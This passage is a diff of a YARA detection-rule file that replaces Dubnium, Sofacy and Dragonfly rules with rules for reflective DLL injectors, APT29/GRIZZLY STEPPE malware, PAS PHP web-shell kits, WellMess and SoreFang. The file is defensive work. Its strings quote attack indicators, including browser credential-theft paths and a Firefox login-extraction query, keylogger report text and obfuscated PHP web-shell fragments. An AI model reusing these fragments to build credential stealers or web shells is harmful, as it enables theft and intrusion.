+		logic_hash = "1904b152c42126abd87671747dc2733e2a5e2a01ab55346c131fb430fe5ba58e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
-		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
-		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
-		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
-		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
-		hash6 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
-		hash7 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
-		hash8 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
-		hash9 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+		hash1 = "d594f60e766e0c3261a599b385e3f686b159a992d19fa624fad8761776efa4f0"
 
 	strings:
-		$s1 = "$innn[i$[i$^i[e[mdi[m$jf1Wehn[^Whl[^iin_hf$11mahZijnjbi[^[W[f1n$dej$[hn]1[W1ni1l[ic1j[mZjchl$$^he[[j[a[1_iWc[e[" fullword ascii
-		$s2 = "h$YWdh[$ij7^e$n[[_[h[i[[[\\][1$1[[j1W1[1cjm1[$[k1ZW_$$ncn[[Inbnnc[I9enanid[fZCX" fullword ascii
+		$x1 = " -p <TARGET PROCESS NAME> | -u <DLL PAYLOAD> [--obfuscate]" fullword wide
+		$x2 = "You've selected to inject into process: %s" fullword wide
+		$x3 = "Lynx DLL Injector" fullword wide
+		$x4 = "Reflective DLL Injector" fullword wide
+		$x5 = "Failed write payload: %lu" fullword wide
+		$x6 = "Failed to start payload: %lu" fullword wide
+		$x7 = "Injecting payload..." fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <9000KB and all of them
+		( uint16(0)==0x5a4d and filesize <800KB and 1 of them ) or (3 of them )
 }
-rule SIGNATURE_BASE_Dubnium_Sample_6 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Reflective_DLL_Loader_Aug17_2 : FILE
 {
 	meta:
-		description = "Detects sample mentioned in the Dubnium Report"
+		description = "Detects Reflective DLL Loader - suspicious - Possible FP could be program crack"
 		author = "Florian Roth (Nextron Systems)"
-		id = "43366f1a-784d-515e-a8e9-3e924f2abfd8"
-		date = "2016-06-10"
+		id = "5948d9ba-e655-5b11-ad74-f650b3a753e7"
+		date = "2017-08-20"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/AW9Cuu"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dubnium.yar#L89-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3425734b3259ebd5390cf16d2e394a4cc735dc3fc9fcc627b46bcc77729e465e"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_loaders.yar#L102-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f01b2cf754c3527d0d7fd44c28d3cdb9327762572b43a7d6f7667e5c2a26ab17"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
-		hash2 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
-		hash3 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+		hash1 = "c2a7a2d0b05ad42386a2bedb780205b7c0af76fe9ee3d47bbe217562f627fcae"
+		hash2 = "b90831aaf8859e604283e5292158f08f100d4a2d4e1875ea1911750a6cb85fe0"
 
 	strings:
-		$s1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&()`~-_=+[{]{;',." fullword ascii
-		$s2 = "e_$0[bW\\RZY\\jb\\ZY[nimiRc[jRZ]" fullword ascii
-		$s3 = "f_RIdJ0W9RFb[$Fbc9[k_?Wn" fullword ascii
+		$x1 = "\\ReflectiveDLLInjection-master\\" ascii
+		$s2 = "reflective_dll.dll" fullword ascii
+		$s3 = "DLL injection" fullword ascii
+		$s4 = "_ReflectiveLoader@4" ascii
+		$s5 = "Reflective Dll Injection" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4000KB and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="59867122bcc8c959ad307ac2dd08af79" or pe.exports("_ReflectiveLoader@4") or 2 of them )) or (3 of them )
 }
-rule SIGNATURE_BASE_Dubnium_Sample_7 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Reflective_DLL_Loader_Aug17_3 : FILE
 {
 	meta:
-		description = "Detects sample mentioned in the Dubnium Report"
+		description = "Detects Reflective DLL Loader"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6712bd5f-6bbc-5ca0-9fc7-b2013b8f8147"
-		date = "2016-06-10"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/AW9Cuu"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dubnium.yar#L109-L131"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "76cf4acee025fcae1dec975a124f4bf808f1f09f99f7fa6a4e965febd6a89e3a"
+		id = "91842f58-5205-533d-9e97-a1e84fbf259d"
+		date = "2017-08-20"
+		modified = "2022-12-21"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_loaders.yar#L130-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4fbba94e6d3dc7b4976c90c0f95683c548f3c444bf5eaf0a7c55d96150978a67"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
-		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
-		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
-		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
-		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
-		hash6 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
-		hash7 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
-		hash8 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+		hash1 = "d10e4b3f1d00f4da391ac03872204dc6551d867684e0af2a4ef52055e771f474"
 
 	strings:
-		$s1 = "hWI[$lZ![nJ_[[lk[8Ihlo8ZiIl[[[$Ynk[f_8[88WWWJW[YWnl$$Z[ilf!$IZ$!W>Wl![W!k!$l!WoW8$nj8![8n_I^$[>_n[ZY[[Xhn_c!nnfK[!Z" fullword ascii
-		$s2 = "[i_^])[$n!]Wj^,h[,!WZmk^o$dZ[h[e!&W!l[$nd[d&)^Z\\^[[iWh][[[jPYO[g$$e&n\\,Wfg$[<g$[[ninn:j!!)Wk[nj[[o!!Y" fullword ascii
+		$s1 = "\\Release\\inject.pdb" ascii
+		$s2 = "!!! Failed to gather information on system processes! " fullword ascii
+		$s3 = "reflective_dll.dll" fullword ascii
+		$s4 = "[-] %s. Error=%d" fullword ascii
+		$s5 = "\\Start Menu\\Programs\\reflective_dll.dll" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <9000KB and all of them
+		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="26ba48d3e3b964f75ff148b6679b42ec" or 2 of them )) or (3 of them )
 }
-rule SIGNATURE_BASE_Dubnium_Sample_Sshopenssl : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Reflective_DLL_Loader_Aug17_4 : FILE
 {
 	meta:
-		description = "Detects sample mentioned in the Dubnium Report"
+		description = "Detects Reflective DLL Loader"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d4f2b494-47b6-5b8e-b358-30159dfb977b"
-		date = "2016-06-10"
+		id = "d2a28ea6-a3f7-5ceb-86fd-1e5b7f916a41"
+		date = "2017-08-20"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/AW9Cuu"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dubnium.yar#L133-L152"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5cad6b0785e8c9627f1b9678dc6206cf36cd33ead2283f77655fdb0ea36249e9"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_loaders.yar#L156-L176"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b988ea586589dced18f2165eff431be897b3e96fce2d124f5f41d52b520ccd76"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
-		hash2 = "feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
-		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
-		hash4 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
-		hash5 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
-		hash6 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+		hash1 = "205b881701d3026d7e296570533e5380e7aaccaa343d71b6fcc60802528bdb74"
+		hash2 = "f76151646a0b94024761812cde1097ae2c6d455c28356a3db1f7905d3d9d6718"
 
 	strings:
-		$s1 = "sshkeypairgen.exe" fullword wide
-		$s2 = "OpenSSL: FATAL" fullword ascii
+		$x1 = "<H1>&nbsp;>> >> >> Keylogger Installed - %s %s << << <<</H1>" fullword ascii
+		$s1 = "<H3> ----- Running Process ----- </H3>" fullword ascii
+		$s2 = "<H2>Operating system: %s<H2>" fullword ascii
+		$s3 = "<H2>System32 dir:  %s</H2>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <9000KB and all of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them )
 }
-rule SIGNATURE_BASE_Sofacy_Jun16_Sample1 : FILE
+rule SIGNATURE_BASE_GRIZZLY_STEPPE_Malware_1 : FILE
 {
 	meta:
-		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		description = "Auto-generated rule - file HRDG022184_certclint.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "62b577e3-7ccb-59df-a944-96ffe9b16d3d"
-		date = "2016-06-14"
+		id = "7239a5f3-9c29-57d7-be95-946d14039353"
+		date = "2016-12-29"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/mzAa97"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_jun16.yar#L10-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "761cec3d04e6b5273cfb450000023ed10ea73d17648c0af7660f4ef2b37fc31c"
-		score = 85
+		reference = "https://goo.gl/WVflzO"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d4a06fbf875ba2dbe64abcc21fab4eea1fe1b092498a09d9a310214562c1869e"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "be1cfa10fcf2668ae01b98579b345ebe87dab77b6b1581c368d1aba9fd2f10a0"
+		hash1 = "9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5"
 
 	strings:
-		$s1 = "clconfg.dll" fullword ascii
-		$s2 = "ASijnoKGszdpodPPiaoaghj8127391" fullword wide
+		$s1 = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb" fullword ascii
+		$s2 = "Repeat last find command)Replace specific text with different text" fullword wide
+		$s3 = "l\\Processor(0)\\% Processor Time" fullword wide
+		$s6 = "Self Process" fullword wide
+		$s7 = "Default Process" fullword wide
+		$s8 = "Star Polk.exe" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($s*))) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <300KB and 4 of them )
 }
-rule SIGNATURE_BASE_Sofacy_Jun16_Sample2 : FILE
+rule SIGNATURE_BASE_GRIZZLY_STEPPE_Malware_2 : FILE
 {
 	meta:
-		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "21561e13-a190-565e-a08b-e6a07c84c3db"
-		date = "2016-06-14"
+		id = "37cfba67-af85-5efe-9b07-9f1e5d9f9195"
+		date = "2016-12-29"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/mzAa97"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_jun16.yar#L27-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a1f334996527556334c34d0308da6165e9d2a3d7eb8b2ecc322b574dea4d4844"
-		score = 85
+		reference = "https://goo.gl/WVflzO"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L30-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "134a76129ef2169ac60f21541ef51a223720badfad02f0822acc7fd6d49cf7e7"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b"
-		hash2 = "69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261"
-		hash3 = "aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632"
+		hash1 = "9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0"
+		hash2 = "55058d3427ce932d8efcbe54dccf97c9a8d1e85c767814e34f4b2b6a6b305641"
 
 	strings:
-		$x1 = "DGMNOEP" fullword ascii
-		$x2 = "/%s%s%s/?%s=" fullword ascii
-		$s1 = "Control Panel\\Dehttps=https://%snetwork.proxy.ht2" fullword ascii
-		$s2 = "http=http://%s:%Control Panel\\Denetwork.proxy.ht&ol1mS9" fullword ascii
-		$s3 = "svchost.dll" fullword wide
-		$s4 = "clconfig.dll" fullword wide
+		$x1 = "GoogleCrashReport.dll" fullword ascii
+		$s1 = "CrashErrors" fullword ascii
+		$s2 = "CrashSend" fullword ascii
+		$s3 = "CrashAddData" fullword ascii
+		$s4 = "CrashCleanup" fullword ascii
+		$s5 = "CrashInit" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and ( all of ($x*))) or (3 of them )
+		( uint16(0)==0x5a4d and filesize <1000KB and $x1) or ( all of them )
 }
-rule SIGNATURE_BASE_Sofacy_Jun16_Sample3 : FILE
+rule SIGNATURE_BASE_PAS_TOOL_PHP_WEB_KIT_Mod : FILE
 {
 	meta:
-		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f97bc840-0d9a-5a9e-9e13-7b7f8acc53a5"
-		date = "2016-06-14"
+		description = "Detects PAS Tool PHP Web Kit"
+		author = "US CERT - modified by Florian Roth due to performance reasons"
+		id = "6bc75e44-7784-5e48-9bbc-052d84ebee83"
+		date = "2016-12-29"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/mzAa97"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_jun16.yar#L51-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bdc6fcc30ebd7a966391747e4156a6d94dc9187e8b8898de4c441540ec4e637e"
-		score = 85
+		reference = "https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L52-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fab894d9609c1fca4a85457e6799d082dfd3eb9ca0564abc04a1a0dd07a7b546"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785"
 
 	strings:
-		$s1 = "ASLIiasiuqpssuqkl713h" fullword wide
+		$php = "<?php"
+		$base64decode1 = "='base'.("
+		$strreplace = "str_replace(\"\\n\", ''"
+		$md5 = ".substr(md5(strrev("
+		$gzinflate = "gzinflate"
+		$cookie = "_COOKIE"
+		$isset = "isset"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and $s1
+		uint32(0)==0x68703f3c and $php at 0 and ( filesize >10KB and filesize <30KB) and #cookie==2 and #isset==3 and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Unspecified_Malware_Sep1_A1 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_Web_Kit_V3 : FILE
 {
 	meta:
-		description = "Detects malware from DrqgonFly APT report"
+		description = "Detects PAS Tool PHP Web Kit"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cff49e85-c8c3-5240-9948-0551e38e7040"
-		date = "2017-09-12"
+		id = "dc5fa2c9-3e1e-594d-be4f-141e1f4915f1"
+		date = "2016-01-01"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dragonfly.yar#L13-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d235dc964ac74d2b635251d07b2a9119b731a6c3c45b6b2a81ca88e6fc8b63b7"
+		reference = "https://github.com/wordfence/grizzly"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L76-L95"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "21bf0afcd3f8de813ddfe41ef32e45806e9f9d7d3b08ae7ce65017c35e32a868"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "28143c7638f22342bff8edcd0bedd708e265948a5fcca750c302e2dca95ed9f0"
+
+	strings:
+		$php = "<?php $"
+		$php2 = "@assert(base64_decode($_REQUEST["
+		$s1 = "(str_replace(\"\\n\", '', '"
+		$s2 = "(strrev($" ascii
+		$s3 = "de'.'code';" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and pe.imphash()=="17a4bd9c95f2898add97f309fc6f9bcd")
+		(( uint32(0)==0x68703f3c and $php at 0) or $php2) and filesize >8KB and filesize <100KB and all of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Dragonfly_APT_Sep17_1 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_Web_Kit_V4 : FILE
 {
 	meta:
-		description = "Detects malware from DrqgonFly APT report"
+		description = "Detects PAS Tool PHP Web Kit"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d219a54e-cb76-5c56-b64c-5019e811eeb1"
-		date = "2017-09-12"
+		id = "a5f915cd-b9c5-5cd3-b0a2-c15f6124737a"
+		date = "2016-01-01"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dragonfly.yar#L29-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c885fb690b7e047203529f0c4a6dd60dea822ce60a47e42b52d3216bc26da62e"
+		reference = "https://github.com/wordfence/grizzly"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L97-L116"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e2eaa0abd14f4dd08815c44797df707a08df1ea4e04ae69ba67d128a0fe4eff5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9"
 
 	strings:
-		$s1 = "\\Update\\Temp\\ufiles.txt" wide
-		$s2 = "%02d.%02d.%04d %02d:%02d" fullword wide
-		$s3 = "*pass*.*" fullword wide
+		$php = "<?php $"
+		$s1 = "(StR_ReplAcE(\"\\n\",'',"
+		$s2 = ";if(PHP_VERSION<'5'){" ascii
+		$s3 = "=SuBstr_rePlACe(" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		uint32(0)==0x68703f3c and $php at 0 and filesize >8KB and filesize <100KB and 2 of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Dragonfly_APT_Sep17_2 : FILE
+rule SIGNATURE_BASE_APT_APT29_Wellmess_Dotnet_Unique_Strings : FILE
 {
 	meta:
-		description = "Detects malware from DrqgonFly APT report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e64f121d-a628-54b5-88f3-96eea388c155"
-		date = "2017-09-12"
-		modified = "2023-01-06"
-		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dragonfly.yar#L46-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "433711dd15c8d1044b381046747194e47402288df06da6bbc61055dc9c90f52a"
+		description = "Rule to detect WellMess .NET samples based on unique strings and function/variable names"
+		author = "NCSC"
+		id = "7a058ec7-f795-5226-b511-ff469a969ee6"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L120-L136"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2285a264ffab59ab5a1eb4e2b9bcab9baf26750b6c551ee3094af56a4442ac41"
+		logic_hash = "90e8480aa50e18202007bcffdc8348290ad0ac0588c924b4f75ea425a6cae32d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "178348c14324bc0a3e57559a01a6ae6aa0cb4013aabbe324b51f906dcf5d537e"
 
 	strings:
-		$s1 = "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" wide
-		$s2 = "C:\\Users\\Public\\Log.txt" fullword wide
-		$s3 = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" fullword wide
-		$s4 = "***************** Mozilla Firefox ****************" fullword wide
-		$s5 = "********************** Opera *********************" fullword wide
-		$s6 = "\\AppData\\Local\\Microsoft\\Credentials\\" wide
-		$s7 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\" wide
-		$s8 = "**************** Internet Explorer ***************" fullword wide
+		$s1 = "HealthInterval" wide
+		$s2 = "Hello from Proxy" wide
+		$s3 = "Start bot:" wide
+		$s4 = "FromNormalToBase64" ascii
+		$s5 = "FromBase64ToNormal" ascii
+		$s6 = "WellMess" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <3000KB and 3 of them )
+		uint16(0)==0x5a4d and uint16( uint16(0x3c))==0x4550 and 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Dragonfly_APT_Sep17_3 : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Encryption_Key_Schedule : FILE
 {
 	meta:
-		description = "Detects malware from DrqgonFly APT report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4eafd732-80bc-5f50-bf0d-096df4d35d61"
-		date = "2017-09-12"
+		description = "Rule to detect SoreFang based on the key schedule used for encryption"
+		author = "NCSC"
+		id = "8d89edc1-a9fc-5155-9dc2-8d7f952f90d1"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dragonfly.yar#L68-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f564685eb1426d1a3eb888a888bfdf3a8fa9bc96af07fb0bc5f10c0a324f1d9d"
+		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_grizzly_steppe.yar#L138-L153"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
+		logic_hash = "d4f7ec82e51f1063b4d61302e5ff9268dd3233bb44269fc32cb57fb9240f96e2"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b051a5997267a5d7fa8316005124f3506574807ab2b25b037086e2e971564291"
 
 	strings:
-		$s1 = "kernel64.dll" fullword ascii
-		$s2 = "ws2_32.dQH" fullword ascii
-		$s3 = "HGFEDCBADCBA" fullword ascii
-		$s4 = "AWAVAUATWVSU" fullword ascii
+		$ = { C7 05 ?? ?? ?? ?? 63 51 E1 B7 B8 ?? ?? ?? ?? 8B 48
+            FC 81 E9 47 86 C8 61 89 08 83 C0 04 3D ?? ?? ?? ??
+            7E EB 33 D2 33 C9 B8 2C 00 00 00 89 55 D4 33 F6 89
+            4D D8 33 DB 3B F8 0F 4F C7 8D 04 40 89 45 D0 83 F8
+            01 7C 4F 0F 1F 80 00 00 00 00 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <40KB and (pe.imphash()=="6f03fb864ff388bac8680ac5303584be" or all of them ))
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Dragonfly_APT_Sep17_4 : FILE
+rule SIGNATURE_BASE_APT_APT29_Sorefang_Encryption_Key_2B62 : FILE
 {
 	meta:
